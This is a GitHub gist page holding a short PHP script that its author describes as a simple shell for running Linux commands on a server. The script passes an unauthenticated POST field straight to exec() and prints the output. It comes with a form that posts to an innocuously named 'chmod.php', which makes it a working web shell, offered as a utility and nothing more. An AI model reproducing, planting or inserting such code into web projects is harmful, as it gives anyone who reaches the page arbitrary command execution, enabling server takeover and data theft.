Skip to content

Instantly share code, notes, and snippets.

@sethunath
Created August 21, 2014 05:50
Show Gist options
  • Save sethunath/382f8ea3be06b3c23052 to your computer and use it in GitHub Desktop.
Save sethunath/382f8ea3be06b3c23052 to your computer and use it in GitHub Desktop.
This is a simple shell that can be used to execute linux commands on server
<?php
if($_POST['command']){
$out = array();
exec($_POST['command'],$out);
echo '<pre>';
foreach($out as $line) {
echo $line."\n";
}
echo '</pre>';
}
?>
<form method="post" action="chmod.php">
<input type="text" name="command" />
<input type="submit">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment